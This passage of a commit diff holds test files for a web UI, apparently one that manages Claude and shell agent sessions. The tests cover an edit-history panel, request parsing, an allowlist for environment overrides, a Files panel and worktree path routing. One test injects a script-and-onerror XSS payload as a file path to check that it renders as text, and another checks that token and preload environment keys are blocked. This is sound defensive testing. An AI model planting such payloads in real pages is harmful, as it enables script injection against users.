page.evaluate(async (workingDir) => {
const res = await fetch('/api/sessions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ workingDir, mode: 'shell' }),
});
const id = (await res.json()).data.session.id;
await fetch(`/api/sessions/${id}/shell`, { method: 'POST' });
return id as string;
}, dir);
const select = (id: string) =>
page.evaluate(async (sid) => {
const app = (window as any).app;
for (let i = 0; i < 100 && !app.sessions.has(sid); i++) await new Promise((r) => setTimeout(r, 100));
await app.selectSession(sid);
}, id);
const reload = () => page.evaluate(() => (window as any).app.refreshEditHistory());
const syncReads = (sid: string) => calls.filter((c) => c === `GET /api/sessions/${sid}/edits?sync=1`).length;
const toolEnd = (sessionId: string, toolName: string) =>
(server as any).broadcast('transcript:tool_end', { sessionId, toolName, isError: false, timestamp: Date.now() });
const rows = () => page.locator('#editHistoryBody .edit-history-entry');
beforeAll(async () => {
root = mkdtempSync(join(homedir(), 'edit-history-ui-'));
writeFileSync(join(root, 'shot.png'), PNG);
ext = mkdtempSync(join(homedir(), 'edit-history-ext-'));
writeFileSync(join(ext, 'render.png'), PNG);
server = new WebServer(0, false, true);
await server.start();
browser = await chromium.launch({ headless: true });
page = await browser.newPage({ viewport: { width: 1400, height: 900 } });
page.on('response', (r) => {
if (r.request().method() === 'PUT' && r.url().endsWith('/api/settings')) settingsPutStatuses.push(r.status());
});
page.on('request', (r) => {
if (r.method() === 'POST' && /\/api\/sessions\/[^/]+\/attachments$/.test(r.url()))
attachmentPosts.push(r.postDataJSON());
});
await page.route('**/api/sessions/*/edits**', async (route) => {
const req = route.request();
const url = new URL(req.url());
calls.push(`${req.method()} ${url.pathname}${url.search}`);
const m = url.pathname.match(/\/api\/sessions\/([^/]+)\/edits(?:\/(.+))?$/)!;
const sid = decodeURIComponent(m[1]);
const rest = m[2] ? decodeURIComponent(m[2]) : '';
const s = state.get(sid) ?? { state: 'unsupported', backfillTruncated: false, agents: {}, entries: [] };
if (req.method() === 'POST' && rest === 'older') {
const entries = [...(s.entries as Entry[]), ...olderEntries];
state.set(sid, { ...s, entries, backfillTruncated: false });
return json(route, state.get(sid));
}
if (req.method() === 'GET' && rest) {
const d = diffs[rest];
if (!d) return route.fulfill({ status: 404, contentType: 'application/json', body: '{"success":false}' });
return json(route, d);
}
return json(route, s);
});
await page.goto(`http://localhost:${server.boundPort}`, { waitUntil: 'domcontentloaded' });
await page.waitForFunction(() => (window as any).app?.terminal, null, { timeout: 30000 });
sessionA = await createSession(root);
sessionB = await createSession(root);
await select(sessionA);
const t0 = Date.now();
state.set(sessionA, {
state: 'ok',
backfillTruncated: true,
agents: {
agent1: { description: 'Refactor the parser', agentType: 'general-purpose', worktreeBranch: 'wt/parser' },
},
entries: [
entry({ id: 'e4', ts: t0, relPath: 'src/a.ts', added: 3, removed: 1 }),
entry({ id: 'e3', ts: t0 - 1000, relPath: 'shot.png', kind: 'image', tool: 'bash', created: true }),
entry({
id: 'e2',
ts: t0 - 2000,
relPath: 'src/b.ts',
created: true,
tool: 'Write',
added: 10,
removed: 0,
agentId: 'agent1',
}),
entry({ id: 'e1', ts: t0 - 3000, relPath: 'src/a.ts', added: 2, removed: 2 }),
],
});
diffs = {
e4: { diff: '@@ -1,3 +1,3 @@\n context\n-old line\n+new line\n+another\n', truncated: true },
e1: { diff: '@@ -5 +5 @@\n-x\n+y\n', truncated: false },
};
olderEntries = [entry({ id: 'e0', ts: t0 - 86_400_000, relPath: 'src/old.ts', added: 7, removed: 0 })];
}, 120000);
afterAll(async () => {
if (browser) await browser.close();
if (server) await server.stop();
rmSync(root, { recursive: true, force: true });
rmSync(ext, { recursive: true, force: true });
}, 60000);
it('is off by default: no button, and nothing asks the edits API', async () => {
await page.waitForTimeout(1000);
expect(await buttonVisible()).toBe(false);
expect(calls).toEqual([]);
});
it('turning it on through Settings shows the button and saves cleanly (the key never reaches the strict PUT)', async () => {
await setSetting(true);
expect(settingsPutStatuses.length).toBeGreaterThan(0);
expect(settingsPutStatuses.every((s) => s === 200)).toBe(true);
expect(await buttonVisible()).toBe(true);
// In the header next to Attachments, where the panel opens; no longer in the bottom bar.
expect(await page.evaluate(() => !!document.querySelector('#headerRight #editHistoryBtn'))).toBe(true);
expect(await page.evaluate(() => !!document.querySelector('.toolbar #editHistoryBtn'))).toBe(false);
expect(calls).toEqual([]); // no poll: nothing is read until the panel opens
});
it('opens a panel listing the entries newest first, with the subagent chip and an image thumbnail', async () => {
await page.click('#editHistoryBtn');
await page.waitForSelector('#editHistoryPanel.visible');
await page.waitForSelector('#editHistoryBody .edit-history-entry');
expect(calls[0]).toBe(`GET /api/sessions/${sessionA}/edits?sync=1`);
expect(await page.getAttribute('#editHistoryBtn', 'aria-expanded')).toBe('true');
expect(await rows().count()).toBe(4);
const paths = await page.locator('#editHistoryBody .edit-history-path').allTextContents();
expect(paths).toEqual(['src/a.ts', 'shot.png', 'src/b.ts', 'src/a.ts']);
expect(await rows().nth(0).locator('.edit-history-badge').textContent()).toBe('edit');
expect(await rows().nth(2).locator('.edit-history-badge').textContent()).toBe('new');
expect(await rows().nth(0).locator('.edit-history-stats').textContent()).toBe('+3−1');
// The image row: a symbol instead of a word, no +/− counts.
expect(await rows().nth(1).locator('.edit-history-badge--image svg').count()).toBe(1);
expect(await rows().nth(1).locator('.edit-history-stats').count()).toBe(0);
// The subagent chip: its description, and type + branch on hover.
const chip = rows().nth(2).locator('.edit-history-agent');
expect(await chip.textContent()).toBe('Refactor the parser');
expect(await chip.getAttribute('title')).toBe('general-purpose · wt/parser');
expect(await page.locator('#editHistoryBody .edit-history-agent').count()).toBe(1);
// The thumbnail is served by the real file-raw route and decodes.
const thumb = page.locator('#editHistoryBody img.edit-history-thumb');
expect(await thumb.count()).toBe(1);
expect(await thumb.getAttribute('src')).toBe(
`/api/sessions/${sessionA}/file-raw?path=${encodeURIComponent(join(root, 'shot.png'))}`
);
await page.waitForFunction(
() => (document.querySelector('img.edit-history-thumb') as HTMLImageElement)?.naturalWidth === 2
);
expect(await page.textContent('#editHistoryCount')).toBe('4');
});
it('a code entry opens its diff inline with the Git panel line classes, and closes again', async () => {
await rows().nth(0).locator('.edit-history-spacer').click();
await page.waitForSelector('#editHistoryBody .edit-history-diff pre.git-diff');
expect(calls).toContain(`GET /api/sessions/${sessionA}/edits/e4`);
const lines = await page.$$eval('#editHistoryBody pre.git-diff .git-diff-line', (els) =>
els.map((e) => [e.className.replace('git-diff-line', '').trim(), e.textContent])
);
expect(lines).toEqual([
['git-diff-line--hunk', '@@ -1,3 +1,3 @@\n'],
['', ' context\n'],
['git-diff-line--del', '-old line\n'],
['git-diff-line--add', '+new line\n'],
['git-diff-line--add', '+another\n'],
]);
expect(await page.textContent('#editHistoryBody .edit-history-diff')).toContain('Diff cut short');
expect(await rows().nth(0).getAttribute('aria-expanded')).toBe('true');
// A re-read (what an SSE update does) keeps the open diff without fetching it again.
const before = calls.filter((c) => c.endsWith('/edits/e4')).length;
await reload();
expect(await page.locator('#editHistoryBody pre.git-diff').count()).toBe(1);
expect(calls.filter((c) => c.endsWith('/edits/e4')).length).toBe(before);
await rows().nth(0).locator('.edit-history-spacer').click();
expect(await page.locator('#editHistoryBody pre.git-diff').count()).toBe(0);
});
it('a path and an image open the shared file preview with the absolute path', async () => {
await page.evaluate(() => {
const w = window as any;
w.__previewed = [];
w.__openFilePreview = w.app.openFilePreview;
w.app.openFilePreview = (p: string, sid: string) => w.__previewed.push([p, sid]);
});
await rows().nth(2).locator('.edit-history-path').click();
await page.locator('#editHistoryBody img.edit-history-thumb').click();
expect(await page.evaluate(() => (window as any).__previewed)).toEqual([
[join(root, 'src/b.ts'), sessionA],
[join(root, 'shot.png'), sessionA],
]);
// Clicking the path never toggles the row's diff.
expect(await page.locator('#editHistoryBody .edit-history-diff').count()).toBe(0);
await page.evaluate(() => {
const w = window as any;
w.app.openFilePreview = w.__openFilePreview;
});
});
it('"Main agent only" hides the subagent edits; "Group by file" puts edits under their file', async () => {
await page.check('#editHistoryMainOnlyToggle');
expect(await rows().count()).toBe(3);
expect(await page.locator('#editHistoryBody .edit-history-agent').count()).toBe(0);
expect(await bodyText()).not.toContain('src/b.ts');
await page.uncheck('#editHistoryMainOnlyToggle');
expect(await rows().count()).toBe(4);
await page.check('#editHistoryGroupToggle');
const groups = page.locator('#editHistoryBody .edit-history-group');
expect(await groups.count()).toBe(3);
expect(await groups.nth(0).locator('.edit-history-group-head .edit-history-path').textContent()).toBe('src/a.ts');
expect(await groups.nth(0).locator('.edit-history-entry').count()).toBe(2);
expect(await groups.nth(0).locator('.edit-history-group-head .edit-history-stats').textContent()).toBe('+5−3');
await groups.nth(0).locator('.edit-history-entry').nth(1).locator('.edit-history-spacer').click();
await page.waitForSelector('#editHistoryBody .git-diff-line--add');
expect(await page.textContent('#editHistoryBody .git-diff-line--add')).toBe('+y\n');
await page.uncheck('#editHistoryGroupToggle');
});
it('"Load older" asks the server with a POST and shows what it returns', async () => {
const older = page.locator('#editHistoryBody button.edit-history-older');
expect(await older.count()).toBe(1);
await older.click();
await page.waitForFunction(() =>
/src\/old\.ts/.test(document.getElementById('editHistoryBody')!.textContent ?? '')
);
expect(calls).toContain(`POST /api/sessions/${sessionA}/edits/older`);
expect(await rows().count()).toBe(5);
expect(await page.locator('#editHistoryBody button.edit-history-older').count()).toBe(0);
});
it('while open it follows the session: an edit-capable tool end or a turn end re-reads (debounced), other tools, sessions and keep-alive turns do not', async () => {
const before = syncReads(sessionA);
const s = state.get(sessionA)!;
state.set(sessionA, {
...s,
entries: [entry({ id: 'e5', relPath: 'src/fresh.ts', added: 4, removed: 0 }), ...(s.entries as Entry[])],
});
toolEnd(sessionA, 'Read');
toolEnd(sessionA, 'Grep');
toolEnd('someone-else', 'Edit');
await page.waitForTimeout(1000);
expect(syncReads(sessionA)).toBe(before);
toolEnd(sessionA, 'Edit');
toolEnd(sessionA, 'Bash');
await page.waitForFunction(() =>
/src\/fresh\.ts/.test(document.getElementById('editHistoryBody')!.textContent ?? '')
);
await page.waitForTimeout(800);
expect(syncReads(sessionA)).toBe(before + 1);
// The end of a turn re-reads too (a parallel tool call reports one tool end only, a background
// subagent writes later): `session:idle`, since claude's transcript has no `result` line.
// Not another session's, and not the end of Codeman's own keep-alive turn (it edits nothing).
(server as any).broadcast('session:idle', { id: 'someone-else' });
(server as any).broadcast('session:idle', { id: sessionA, keepAlive: true });
await page.waitForTimeout(1200);
expect(syncReads(sessionA)).toBe(before + 1);
(server as any).broadcast('session:idle', { id: sessionA });
await page.waitForTimeout(1200);
expect(syncReads(sessionA)).toBe(before + 2);
});
it('while the panel is closed, transcript events read nothing; opening reads once', async () => {
await page.click('#editHistoryBtn');
await page.waitForSelector('#editHistoryPanel:not(.visible)', { state: 'attached' });
const before = syncReads(sessionA);
toolEnd(sessionA, 'Edit');
(server as any).broadcast('session:idle', { id: sessionA });
await page.waitForTimeout(1200);
expect(syncReads(sessionA)).toBe(before);
expect(await page.$('#editHistoryUnread')).toBeNull(); // no unread badge: closed means idle
await page.click('#editHistoryBtn');
await page.waitForSelector('#editHistoryPanel.visible');
await page.waitForFunction(() => document.querySelectorAll('#editHistoryBody .edit-history-entry').length > 0);
expect(syncReads(sessionA)).toBe(before + 1);
});
it('an image outside the workspace registers nothing until clicked, then previews through the attachment route quietly', async () => {
const s = state.get(sessionA)!;
const outside = join(ext, 'render.png');
state.set(sessionA, {
...s,
entries: [
entry({ id: 'ext', path: outside, relPath: outside, kind: 'image', tool: 'bash', added: 0, removed: 0 }),
...(s.entries as Entry[]),
],
});
await reload();
const row = page.locator('#editHistoryBody .edit-history-entry', { hasText: 'render.png' });
await row.waitFor();
// No thumbnail for it (that would mint an attachment id per render), and no registration.
expect(
await page.evaluate(() =>
[...document.querySelectorAll('#editHistoryBody img.edit-history-thumb')].map((i) => i.getAttribute('src'))
)
).not.toContainEqual(expect.stringContaining('render.png'));
await reload();
expect(attachmentPosts).toEqual([]);
// A click opens the shared preview, which registers the file once, without a notification.
await row.click();
await page.waitForSelector('#filePreviewOverlay.visible');
expect(attachmentPosts).toEqual([{ path: outside, notify: false }]);
await page.evaluate(() => (window as any).app.closeFilePreview());
state.set(sessionA, s);
});
it('a remote session lists its images without a thumbnail (no ssh read per row); a click still previews', async () => {
const thumbs = () => page.locator('#editHistoryBody img.edit-history-thumb').count();
expect(await thumbs()).toBe(1);
await page.evaluate((sid) => {
const w = window as any;
w.app.sessions.get(sid).remote = { hostId: 'h', label: 'h', host: '192.0.2.1', username: 'j', remotePath: '/' };
w.__previewed = [];
w.__openFilePreview = w.app.openFilePreview;
w.app.openFilePreview = (p: string, s: string) => w.__previewed.push([p, s]);
}, sessionA);
try {
await reload();
await page.locator('#editHistoryBody .edit-history-entry', { hasText: 'shot.png' }).waitFor();
expect(await thumbs()).toBe(0);
await page.locator('#editHistoryBody .edit-history-entry', { hasText: 'shot.png' }).click();
expect(await page.evaluate(() => (window as any).__previewed)).toEqual([[join(root, 'shot.png'), sessionA]]);
} finally {
await page.evaluate((sid) => {
const w = window as any;
delete w.app.sessions.get(sid).remote;
w.app.openFilePreview = w.__openFilePreview;
}, sessionA);
await reload();
}
await page.locator('#editHistoryBody img.edit-history-thumb').waitFor();
});
it('a long path outside the workspace keeps its file name readable, the folder is cut at the start', async () => {
const s = state.get(sessionA)!;
const long =
'/tmp/claude-1000/-mnt-caches-ComfyUI/07e259af-d4d2-4ac3-8a7e-95972e3547df/scratchpad/icons/bremse_alt1_pedal.png';
state.set(sessionA, {
...s,
entries: [
entry({ id: 'long', relPath: long, kind: 'image', tool: 'sent', added: 0, removed: 0 }),
...(s.entries as Entry[]),
],
});
await reload();
const row = rows().nth(0);
await row.waitFor();
expect(await row.locator('.edit-history-path').textContent()).toBe(long);
const name = row.locator('.edit-history-path-name');
expect(await name.textContent()).toBe('bremse_alt1_pedal.png');
// The name is shown whole; only the folder part is shortened.
expect(await name.evaluate((el) => el.scrollWidth <= el.clientWidth)).toBe(true);
expect(await row.locator('.edit-history-path-dir').evaluate((el) => el.scrollWidth > el.clientWidth)).toBe(true);
state.set(sessionA, s);
});
it('renders a hostile path as text, never as markup', async () => {
const s = state.get(sessionA)!;
const evil = '<script>window.__pwned=1</script><img src=x onerror="window.__pwned=2">.ts';
state.set(sessionA, {
...s,
agents: { agent1: { description: '<b>bold</b>', agentType: 'x', worktreeBranch: '' } },
entries: [entry({ id: 'evil', relPath: evil, agentId: 'agent1' }), ...(s.entries as Entry[])],
});
await reload();
await page.waitForFunction(() => /__pwned/.test(document.getElementById('editHistoryBody')!.textContent ?? ''));
expect(await rows().nth(0).locator('.edit-history-path').textContent()).toBe(evil);
expect(await rows().nth(0).locator('.edit-history-agent').textContent()).toBe('<b>bold</b>');
expect(await page.$('#editHistoryBody script')).toBeNull();
expect(await page.$('#editHistoryBody b')).toBeNull();
expect(
await page.$$eval(
'#editHistoryBody img',
(els) => els.filter((e) => !e.classList.contains('edit-history-thumb')).length
)
).toBe(0);
expect(await page.evaluate(() => (window as any).__pwned)).toBeUndefined();
});
it('unavailable: the saved entries stay, with the reason on top', async () => {
const s = state.get(sessionA)!;
state.set(sessionA, { ...s, state: 'unavailable', reason: 'EACCES: permission denied' });
await reload();
await page.waitForSelector('#editHistoryBody .edit-history-note--warn');
expect(await page.textContent('#editHistoryBody .edit-history-note--warn')).toBe(
'Showing saved entries only: EACCES: permission denied'
);
expect(await rows().count()).toBeGreaterThan(0);
state.set(sessionA, { ...s, state: 'ok' });
});
it('no transcript yet: says it comes with the next prompt, and names CLAUDE_CONFIG_DIR', async () => {
const s = state.get(sessionA)!;
state.set(sessionA, { ...s, state: 'unavailable', reason: 'no-transcript', entries: [] });
await reload();
await page.waitForSelector('#editHistoryBody .edit-history-note--warn');
const note = (await page.textContent('#editHistoryBody .edit-history-note--warn')) ?? '';
expect(note).toContain('No transcript found for this session yet');
expect(note).toContain('CLAUDE_CONFIG_DIR');
// A remote host sends no hooks: no promise that the next prompt finds it.
await page.evaluate((sid) => {
(window as any).app.sessions.get(sid).remote = { hostId: 'h', label: 'h', host: '192.0.2.1' };
}, sessionA);
try {
await reload();
const remoteNote = page.locator('#editHistoryBody .edit-history-note--warn', {
hasText: 'No transcript found on the remote host yet',
});
await remoteNote.waitFor();
const text = (await remoteNote.textContent()) ?? '';
expect(text).not.toContain('next prompt');
expect(text).toContain('.bash_profile');
} finally {
await page.evaluate((sid) => delete (window as any).app.sessions.get(sid).remote, sessionA);
state.set(sessionA, s);
await reload();
}
});
it('follows the active session, and says when a session is not a Claude session', async () => {
await select(sessionB);
await page.waitForFunction(() =>
/only available for Claude sessions outside Docker/.test(
document.getElementById('editHistoryBody')!.textContent ?? ''
)
);
expect(calls).toContain(`GET /api/sessions/${sessionB}/edits?sync=1`);
expect(await rows().count()).toBe(0);
await select(sessionA);
await page.waitForSelector('#editHistoryBody .edit-history-entry');
});
it('drags by the header', async () => {
const before = await page.evaluate(() => document.getElementById('editHistoryPanel')!.getBoundingClientRect().left);
const box = (await page.locator('.edit-history-header').boundingBox())!;
await page.mouse.move(box.x + 40, box.y + 10);
await page.mouse.down();
await page.mouse.move(box.x - 140, box.y + 70, { steps: 5 });
await page.mouse.up();
const after = await page.evaluate(() => document.getElementById('editHistoryPanel')!.getBoundingClientRect().left);
expect(after).toBeLessThan(before - 100);
});
it('turning the setting off hides the button and closes the panel; SSE then reads nothing', async () => {
await setSetting(false);
expect(await buttonVisible()).toBe(false);
expect(await page.isVisible('#editHistoryPanel')).toBe(false);
const before = calls.length;
toolEnd(sessionA, 'Edit');
await page.waitForTimeout(1200);
expect(calls.length).toBe(before);
});
});
+50
View File
@@ -0,0 +1,50 @@
/** Verify parser installation through the real server, including API aliases and base paths. */
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
import type { FastifyInstance } from 'fastify';
import { WebServer } from '../src/web/server.js';
describe('empty POST: production server wiring', () => {
let server: WebServer;
let app: FastifyInstance;
beforeAll(async () => {
server = new WebServer(0, false, true, '127.0.0.1', undefined, false, '/codeman');
await server.start();
app = (server as unknown as { app: FastifyInstance }).app;
});
afterAll(async () => {
await server?.stop();
});
it('accepts empty chunked POSTs to a real API through each supported prefix', async () => {
for (const prefix of ['/api', '/api/v1', '/codeman/api', '/codeman/api/v1']) {
const res = await app.inject({
method: 'POST',
url: `${prefix}/approvals/session/nonexistent/viewed`,
headers: { 'transfer-encoding': 'chunked' },
});
// The real handler ran and found no session, instead of the parser returning 415.
expect(res.statusCode, res.body).toBe(404);
expect(res.json().errorCode).toBe('NOT_FOUND');
}
});
it('still rejects a nonempty untyped POST before reaching the same handler', async () => {
const res = await app.inject({
method: 'POST',
url: '/api/approvals/session/nonexistent/viewed',
headers: { 'transfer-encoding': 'chunked' },
payload: '{}',
});
expect(res.statusCode).toBe(415);
});
it('preserves the API 404 envelope for an unknown empty chunked POST', async () => {
const res = await app.inject({
method: 'POST',
url: '/api/nonexistent',
headers: { 'transfer-encoding': 'chunked' },
});
expect(res.statusCode).toBe(404);
expect(res.json().errorCode).toBe('NOT_FOUND');
});
});
+11
View File
@@ -51,6 +51,17 @@ describe('envOverrides exact-key allowlist', () => {
).toThrow();
});
it('rejects the shared GitHub token names (Copilot reads COPILOT_GITHUB_TOKEN, in its own prefix)', () => {
for (const key of ['GH_TOKEN', 'GITHUB_TOKEN']) {
for (const mode of ['claude', 'shell', 'codex', 'copilot'] as const) {
expect(() => CreateSessionSchema.parse({ workingDir: '/tmp', mode, envOverrides: { [key]: 'x' } })).toThrow();
}
}
expect(() =>
CreateSessionSchema.parse({ workingDir: '/tmp', mode: 'copilot', envOverrides: { COPILOT_GITHUB_TOKEN: 'x' } })
).not.toThrow();
});
it('still blocks security-sensitive keys', () => {
for (const key of ['PATH', 'LD_PRELOAD', 'NODE_OPTIONS', 'CODEMAN_MUX_NAME']) {
expect(() =>
+168
View File
@@ -0,0 +1,168 @@
/**
* @fileoverview The Files panel's row for a folder the scan stopped short of.
*
* `GET .../files` gives a directory its node before reading it, so a folder still queued when the
* budget ends, or one that did not answer, has `children: []` or a partial list
* (test/routes/file-search-mode.test.ts, test/routes/file-walk-bounds.test.ts). Without
* `incomplete` that reads as an empty folder. What can go wrong here is the client: the flag lost
* on the way in, the row drawn for a collapsed or finished folder, or the click wiring treating it
* as a file.
*
* panels-ui.js loads via `vm` as in file-browser-worktree.test.ts, over a real DOM, since the row
* has to survive `innerHTML` and the `.file-tree-item` selector. Translation goes through the real
* i18n.js. Port: N/A.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { afterAll, describe, expect, it, vi } from 'vitest';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const PANELS = readFileSync(resolve(PUBLIC, 'panels-ui.js'), 'utf8');
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
const STYLES = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
const dom = new JSDOM('<div id="fileBrowserTree"></div><div id="fileBrowserPanel" class="visible"></div>');
afterAll(() => dom.window.close());
const document = dom.window.document;
const treeEl = () => document.getElementById('fileBrowserTree') as HTMLElement;
function loadPanel(expanded: string[] = []) {
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
const context = vm.createContext({
CodemanApp,
console,
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
escapeHtml: (s: string) => String(s),
document: { getElementById: () => null, addEventListener: vi.fn() },
window: { addEventListener: vi.fn() },
setTimeout,
clearTimeout,
CodemanBase: { url: (p: string) => p },
});
vm.runInContext(PANELS, context, { filename: 'panels-ui.js' });
const app = new CodemanApp();
app.$ = (id: string) => document.getElementById(id);
app.activeSessionId = 'sess-1';
app.fileBrowserExpandedDirs = new Set(expanded);
app.getFileIcon = () => '';
app.formatFileSize = () => '';
app.openFilePreview = vi.fn();
return app;
}
const bulk = {
name: 'a-bulk',
path: 'a-bulk',
type: 'directory',
incomplete: true,
children: [{ name: 'one.txt', path: 'a-bulk/one.txt', type: 'file', size: 1, extension: 'txt' }],
};
const later = {
name: 'z-later',
path: 'z-later',
type: 'directory',
children: [{ name: 'needle.ts', path: 'z-later/needle.ts', type: 'file', size: 1, extension: 'ts' }],
};
const envelope = (tree: unknown[]) => ({
success: true,
data: { root: '/repo', tree, totalFiles: 2, totalDirectories: 2, truncated: true },
});
const render = (app: Record<string, any>, tree: unknown[]) => {
app.fileBrowserData = app._validateFileBrowserTreeEnvelope(envelope(tree));
app.renderFileBrowserTree('sess-1');
return [...treeEl().querySelectorAll('.file-tree-incomplete')] as HTMLElement[];
};
describe('Files panel, a folder the scan stopped short of', () => {
it('keeps the flag through the envelope check, which ignores what it does not know', () => {
const app = loadPanel();
const data = app._validateFileBrowserTreeEnvelope(envelope([bulk, later]));
expect(data.tree[0].incomplete).toBe(true);
// An old tab on a new server, and a new tab on an old server: neither is refused.
expect(app._validateFileBrowserTreeEnvelope(envelope([later]))).not.toBeNull();
});
it('draws one row under an expanded incomplete folder, after what was read', () => {
const rows = render(loadPanel(['a-bulk']), [bulk, later]);
expect(rows).toHaveLength(1);
expect(rows[0].textContent).toBe('Not fully scanned');
expect(rows[0].dataset.depth).toBe('1');
const items = [...treeEl().children].map((el) => (el as HTMLElement).dataset.path ?? 'ROW');
expect(items).toEqual(['a-bulk', 'a-bulk/one.txt', 'ROW', 'z-later']);
});
it('draws it for a folder nothing was read from, which would otherwise look empty', () => {
const unread = { name: 'b-unread', path: 'b-unread', type: 'directory', incomplete: true, children: [] };
const rows = render(loadPanel(['b-unread']), [unread]);
expect(rows).toHaveLength(1);
expect(treeEl().querySelectorAll('.file-tree-item')).toHaveLength(1);
});
it('indents the row one level under a nested folder', () => {
const nested = { name: 'outer', path: 'outer', type: 'directory', children: [bulk] };
const rows = render(loadPanel(['outer', 'a-bulk']), [nested]);
expect(rows[0].dataset.depth).toBe('2');
});
it('draws nothing while the folder is collapsed', () => {
expect(render(loadPanel(), [bulk, later])).toHaveLength(0);
});
it('draws nothing under an expanded folder that was finished', () => {
expect(render(loadPanel(['z-later']), [bulk, later])).toHaveLength(0);
});
it('accepts only a real true, so a stray truthy value draws nothing', () => {
const odd = { ...bulk, incomplete: 'false' };
expect(render(loadPanel(['a-bulk']), [odd])).toHaveLength(0);
});
it('is inert: a click neither opens nor toggles anything', () => {
const app = loadPanel(['a-bulk']);
const toggle = vi.spyOn(app, 'toggleFileBrowserFolder');
const [row] = render(app, [bulk, later]);
row.click();
expect(row.matches('.file-tree-item')).toBe(false);
expect(row.dataset.path).toBeUndefined();
expect(app.openFilePreview).not.toHaveBeenCalled();
expect(toggle).not.toHaveBeenCalled();
// The file beside it still opens, so the click wiring did run.
(treeEl().querySelector('[data-path="a-bulk/one.txt"]') as HTMLElement).click();
expect(app.openFilePreview).toHaveBeenCalledWith('a-bulk/one.txt', 'sess-1');
});
it('is indented by the same steps as the rows around it', () => {
for (let depth = 1; depth <= 9; depth++) {
expect(STYLES).toContain(
`.file-tree-item[data-depth="${depth}"], .file-tree-incomplete[data-depth="${depth}"] {`
);
}
});
it('reads in Chinese, through the string the row really shows', () => {
const [row] = render(loadPanel(['a-bulk']), [bulk]);
const i18n = new JSDOM('<html></html>', { runScripts: 'outside-only', url: 'http://localhost/' });
vm.runInContext(I18N, i18n.getInternalVMContext(), { filename: 'i18n.js' });
const api = (
i18n.window as unknown as {
CodemanI18n: { t(s: string): string; configure(o: Record<string, string>): void; start(): void };
}
).CodemanI18n;
api.start();
api.configure({ language: 'zh-CN' });
const translated = api.t(row.textContent as string);
expect(translated).not.toBe(row.textContent);
expect(translated).not.toMatch(/[A-Za-z]/);
i18n.window.close();
});
});
+312
View File
@@ -0,0 +1,312 @@
/**
* @fileoverview The browser side of a worktree OUTSIDE the session folder (#765 follow-up).
*
* The server lists such a worktree with absolute paths and serves them as a second root. The
* browser has to route those paths to the workspace file routes (preview and edit), not to the
* attachment routes that serve an outside file read-only; the terminal has to open them in the
* preview, since the log viewer's `tail-file` stays confined to `workingDir`; and a root-relative
* markdown ref has to resolve from the top of the worktree. Real frontend code in a `vm` context.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { describe, expect, it, vi } from 'vitest';
const read = (name: string) => readFileSync(resolve(import.meta.dirname, '../src/web/public', name), 'utf8');
const WORKING_DIR = '/base/myapp';
const SIBLING = '/base/myapp-feature';
const outsideSession = () => ({
workingDir: WORKING_DIR,
outsideWorktree: { name: 'myapp-feature', path: SIBLING, outside: true },
});
type Proto = {
_isExternalPreviewPath: (p: string, id: string) => boolean;
_isOutsideWorktreePath: (p: string, id: string) => boolean;
};
const loadRouting = (session: Record<string, unknown>) => {
const context = vm.createContext({
console,
CodemanApp: class CodemanApp {},
document: { addEventListener: vi.fn(), getElementById: () => null },
window: { addEventListener: vi.fn(), removeEventListener: vi.fn() },
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
});
vm.runInContext(
`${read('constants.js')}\n${read('terminal-ui.js')}\n${read('panels-ui.js')}\nglobalThis.__proto = CodemanApp.prototype;`,
context
);
const proto = (context as unknown as { __proto: Proto }).__proto;
const app = Object.assign(Object.create(proto), { sessions: new Map([['s1', session]]) }) as Proto;
return {
external: (p: string) => app._isExternalPreviewPath(p, 's1'),
outside: (p: string) => app._isOutsideWorktreePath(p, 's1'),
};
};
describe('preview routing for a worktree outside the session folder', () => {
it('keeps a path inside the outside worktree on the workspace routes', () => {
const app = loadRouting(outsideSession());
expect(app.external(`${SIBLING}/src/a.ts`)).toBe(false);
expect(app.external(SIBLING)).toBe(false);
expect(app.outside(`${SIBLING}/src/a.ts`)).toBe(true);
});
it('still sends every other outside path through the attachment routes', () => {
const app = loadRouting(outsideSession());
expect(app.external('/base/myapp-feature-2/src/a.ts')).toBe(true);
expect(app.external('/tmp/shot.png')).toBe(true);
expect(app.outside('/base/myapp-feature-2/src/a.ts')).toBe(false);
expect(app.outside('relative/a.ts')).toBe(false);
});
it('leaves workspace paths and an inside worktree as they were', () => {
const app = loadRouting({
workingDir: WORKING_DIR,
liveWorktree: { name: 'probe', path: `${WORKING_DIR}/.claude/worktrees/probe` },
});
expect(app.external(`${WORKING_DIR}/src/a.ts`)).toBe(false);
expect(app.outside(`${WORKING_DIR}/.claude/worktrees/probe/a.ts`)).toBe(false);
expect(app.external(`${SIBLING}/src/a.ts`)).toBe(true);
});
it('treats a sibling path as external once the agent has left the worktree', () => {
const app = loadRouting({ workingDir: WORKING_DIR });
expect(app.external(`${SIBLING}/src/a.ts`)).toBe(true);
expect(app.outside(`${SIBLING}/src/a.ts`)).toBe(false);
});
});
describe('terminal links into a worktree outside the session folder', () => {
type Link = { text: string; activate: (ev: unknown, text: string) => void };
type Provider = { provideLinks: (line: number, cb: (links: Link[] | undefined) => void) => void };
const makeApp = (line: string) => {
const CodemanApp = function CodemanApp(this: unknown) {};
const context = vm.createContext({
window: {},
document: {
body: { classList: { contains: () => false } },
activeElement: null,
addEventListener: vi.fn(),
getElementById: () => null,
},
CodemanApp,
console: { warn: vi.fn(), log: vi.fn(), debug: vi.fn() },
_crashDiag: { log: vi.fn() },
performance: { now: () => 0 },
requestAnimationFrame: () => 1,
setTimeout: () => 1,
MobileDetection: { isTouchDevice: () => false },
DEC_SYNC_STRIP_RE: /\x1b\[\?2026[hl]/g,
OSC52_STRIP_RE: /\x1b\]52;[^\x07\x1b]*(?:\x07|\x1b\\)/g,
TERMINAL_CHUNK_SIZE: 32 * 1024,
});
vm.runInContext(read('constants.js'), context, { filename: 'constants.js' });
vm.runInContext(read('terminal-ui.js'), context, { filename: 'terminal-ui.js' });
